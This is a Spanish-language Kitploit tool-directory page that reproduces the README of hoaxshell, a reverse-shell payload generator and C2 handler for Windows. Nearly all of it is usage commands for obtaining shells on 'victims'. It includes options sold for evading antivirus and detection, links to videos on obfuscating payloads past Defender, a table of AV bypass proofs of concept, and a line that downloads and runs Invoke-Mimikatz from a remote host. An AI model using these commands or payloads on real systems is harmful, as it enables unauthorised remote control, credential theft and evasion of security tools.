Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
hoaxshell — Un generador y manejador de payloads de reverse shell para Windows que abusa del protocolo http(s) para establecer una reverse shell tipo beacon. | Kitploit
Herramientas/GitHubGitHub/t3l3machus/hoaxshell
Escalada de PrivilegiosGeneración de PayloadsExplotaciónIngeniería InversaPost-ExplotaciónPruebas de PenetraciónComando y ControlRed Teaming
GitHubt3l3machus/hoaxshell

hoaxshell

Un generador y manejador de payloads de reverse shell para Windows que abusa del protocolo http(s) para establecer una reverse shell tipo beacon.

Ver Repositorio
3.5k524hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

hoaxshell

Python License

⚡ La última versión de este proyecto es el listener independiente de HoaxShell, que incluye plantillas de payload actualizadas. También puedes usarlo directamente desde https://revshells.com (asegúrate de seleccionar hoaxshell como listener).

⚠️ A partir del 18-10-2022, hoaxshell es detectado por AMSI (malware-encyclopedia). Necesitas ofuscar el payload generado para usarlo. Mira este video sobre cómo ofuscar manualmente y eludir MS Defender:

  • Ejemplo con Hoaxshell -> youtube.com/watch?v=iElVfagdCD4
  • Ejemplo con plantillas comunes de revshell en PowerShell -> youtube.com/watch?v=3HddKylkRzM

Propósito

hoaxshell es un generador y manejador de reverse shells para Windows que abusa del protocolo http(s) para establecer una reverse shell tipo beacon, basada en el siguiente concepto:

image

Este concepto de c2 (que podría implementarse usando otros protocolos que no sean http o ejecutables preinstalados) puede usarse para establecer sesiones que fomenten la ilusión de tener una shell, pero están lejos de ser un pty real.

HoaxShell funcionaba bien contra software antivirus (consulta tabla de PoCs de bypass de AV para más información). Aunque ahora se detecta generalmente, es fácil ofuscar los payload(s) generados usando herramientas automatizadas o manualmente.

Descargo de responsabilidad: Hecho puramente para pruebas y fines educativos. NO ejecutes los payloads generados por esta herramienta contra hosts para los que no tengas permiso explícito y autorización para probar. Eres responsable de cualquier problema que puedas causar al usar esta herramienta.

Video Presentaciones

[2022-10-11] Reciente e increíble, hecho por John Hammond -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] Demo del lanzamiento original, hecho por mí -> youtube.com/watch?v=SEufgD5UxdU

Capturas de pantalla

image

Encuentra más capturas aquí.

Instalación

root@kitploit:~
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Uso

Importante: Como medio para evitar la detección, hoaxshell genera automáticamente valores aleatorios para el id de sesión, rutas URL y el nombre de un encabezado HTTP personalizado utilizado en el proceso, cada vez que se inicia el script. El payload generado solo funcionará para la instancia para la que fue generado. Usa la opción -g para evitar este comportamiento y restablecer una sesión activa o reutilizar un payload generado anteriormente con una nueva instancia de hoaxshell.

Sesión básica de shell sobre http

Cuando ejecutas hoaxshell, generará su propio payload de PowerShell para que lo copies e inyectes en la víctima. Por defecto, el payload está codificado en base64 para mayor comodidad. Si necesitas el payload en crudo, ejecuta el comando "rawpayload" en el prompt o inicia hoaxshell con el argumento -r. Después de que el payload se haya ejecutado en la víctima, podrás ejecutar comandos de PowerShell contra ella.

Payload que utiliza Invoke-Expression (por defecto)

root@kitploit:~
sudo python3 hoaxshell.py -s <tu_ip>

Payload que escribe y ejecuta comandos desde un archivo

Usa -x para proporcionar un nombre de archivo .ps1 (ruta absoluta) que se creará en la máquina víctima. Debes verificar el payload en crudo antes de ejecutarlo, asegúrate de que la ruta proporcionada sea sólida.

root@kitploit:~
sudo python3 hoaxshell.py -s <tu_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

Uso recomendado para evitar la detección (sobre http)

Hoaxshell utiliza un encabezado HTTP para transferir información de la sesión de la shell. Por defecto, al encabezado se le asigna un nombre aleatorio que puede ser detectado por reglas AV basadas en regex. Usa -H para proporcionar un nombre de encabezado HTTP estándar o personalizado para evitar la detección.

root@kitploit:~
sudo python3 hoaxshell.py -s <tu_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <tu_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

Sesión de shell cifrada (https + certificado autofirmado)

Este payload en particular es bastante sospechoso, ya que comienza con un bloque adicional de código que indica a PowerShell que omita las comprobaciones de certificados SSL, lo que lo hace sospechoso y fácil de detectar, además de significativamente más largo. No recomendado.

root@kitploit:~
# Generar certificado autofirmado:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pasar cert.pem y key.pem como argumentos:
sudo python3 hoaxshell.py -s <tu_ip> -c </ruta/a/cert.pem> -k <ruta/a/key.pem>

Sesión de shell cifrada con un certificado de confianza

Si posees un dominio, usa esta opción para generar un payload https más corto y menos detectable proporcionando tu DN con -s junto con un certificado de confianza (-c cert.pem -k privkey.pem).

root@kitploit:~
sudo python3 hoaxshell.py -s <tu.dominio.com> -t -c </ruta/a/cert.pem> -k <ruta/a/key.pem>

Modo de recuperación de sesión

En caso de que cierres tu terminal accidentalmente, tengas un corte de energía o algo similar, puedes iniciar hoaxshell en modo de recuperación de sesión, intentará restablecer una sesión, siempre que el payload aún se esté ejecutando en la máquina víctima.

root@kitploit:~
sudo python3 hoaxshell.py -s <tu_ip> -g

Importante: Asegúrate de iniciar hoaxshell con la misma configuración que la sesión que intentas restaurar (http/https, puerto, etc.).

Soporte para modo de lenguaje restringido

Usa cualquiera de las variaciones de payload con la opción -cm (--constraint-mode) para generar un payload que funcione incluso si la víctima está configurada para ejecutar PS en modo de lenguaje restringido. Al usar esta opción, sacrificas un poco de precisión en la decodificación del stdout de tu reverse shell.

root@kitploit:~
sudo python3 hoaxshell.py -s <tu_ip> -cm

image

Sesión de shell sobre https usando herramientas de túneles (Ngrok / LocalTunnel)

Utiliza programas de túneles Ngrok o LocalTunnel para obtener sesiones a través de túneles seguros, superando problemas como no tener una dirección IP estática o que tu ISP prohíba el reenvío de puertos.

Usa -ng o --ngrok para el servidor Ngrok

root@kitploit:~
sudo python3 hoaxshell.py -ng

Usa -lt o --localtunnel para el servidor LocalTunnel

root@kitploit:~
sudo python3 hoaxshell.py -lt

Limitaciones

La shell se colgará si ejecutas un comando que inicia una sesión interactiva. Ejemplo:

root@kitploit:~
# Este comando se ejecutará correctamente y no tendrás problemas: 
> powershell echo 'Esto es una prueba'

# Pero este abrirá una sesión interactiva dentro de la sesión de hoaxshell y hará que la shell se cuelgue:
> powershell

# De la misma manera, no tendrás problemas al ejecutar esto:
> cmd /c dir /a

# Pero esto hará que tu hoaxshell se cuelgue:
> cmd.exe

Por lo tanto, si por ejemplo quisieras ejecutar mimikatz a través de hoaxshell, necesitarías invocar los comandos:

root@kitploit:~
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

En resumen, debes tener cuidado de no ejecutar un exe o cmd que inicie una sesión interactiva dentro del contexto de PowerShell de hoaxshell.

Bypass de AV - PoCs

Algunas personas increíbles tuvieron la amabilidad de enviarme/publicar videos PoC de la ejecución de los payloads de hoaxshell contra sistemas que ejecutan soluciones AV distintas de MS Defender, sin ser detectados. A continuación, una tabla de referencia con enlaces:

Importante: No sé si aún puedes usar hoaxshell de manera efectiva para eludir estas soluciones. Es razonable suponer que la detectabilidad cambiará pronto (si no lo ha hecho ya).

Novedades

  • 13/10/2022 - Se añadió la opción de soporte para modo de lenguaje restringido (-cm).
  • 08/10/2022 - Se añadieron las opciones -ng y -lt que generan payloads de PS para obtener sesiones usando herramientas de túneles ngrok o localtunnel para sortear limitaciones como direcciones IP estáticas y reenvío de puertos.
  • 06/09/2022 - Se agregó un nuevo payload que escribe los comandos a ejecutar en un archivo en lugar de utilizar Invoke-Expression. Para usarlo, el usuario debe proporcionar un nombre de archivo .ps1 (ruta absoluta) en la máquina víctima usando la opción -x.
  • 04/09/2022 - Se realizaron modificaciones para mejorar el mecanismo de entrega de comandos, ya que incluía componentes que podían ser fácilmente marcados. Se añadió la opción -t junto con https_payload_trusted.ps1. Ahora puedes usar hoaxshell proporcionando un nombre de dominio junto con un certificado de confianza. Esto generará un payload https más corto y menos detectable.
  • 01/09/2022 - Se añadió la opción que permite a los usuarios dar un nombre personalizado al encabezado (aleatorio por defecto) utilizado en el proceso de ataque, que lleva el id de sesión de la shell. Esto hace que el ataque sea menos detectable, por ejemplo, usando un nombre de encabezado estándar como "Authorization".
Descargar herramienta
Solución AVFechaPoC
SentinelOne2022-10-18https://twitter.com/i/status/1582137400880336896
Norton2022-10-17https://twitter.com/i/status/1582278579244929024
Bitdefender2022-10-15https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop
McAfee2022-10-15https://twitter.com/i/status/1581605531365814273
Kaspersky2022-10-13https://www.youtube.com/watch?v=IyMH_eCC4Rk
Sophos2022-09-08https://www.youtube.com/watch?v=NYR0rWx4x8k
-H
  • 31/08/2022 - Se añadió la opción -i que genera el payload de PS ajustado para usar 'Invoke-RestMethod' en lugar de 'Invoke-WebRequest', por lo que ahora el usuario puede elegir (gracias a este issue). También corregí un error que existía en el prompt (a veces estropeaba la ruta).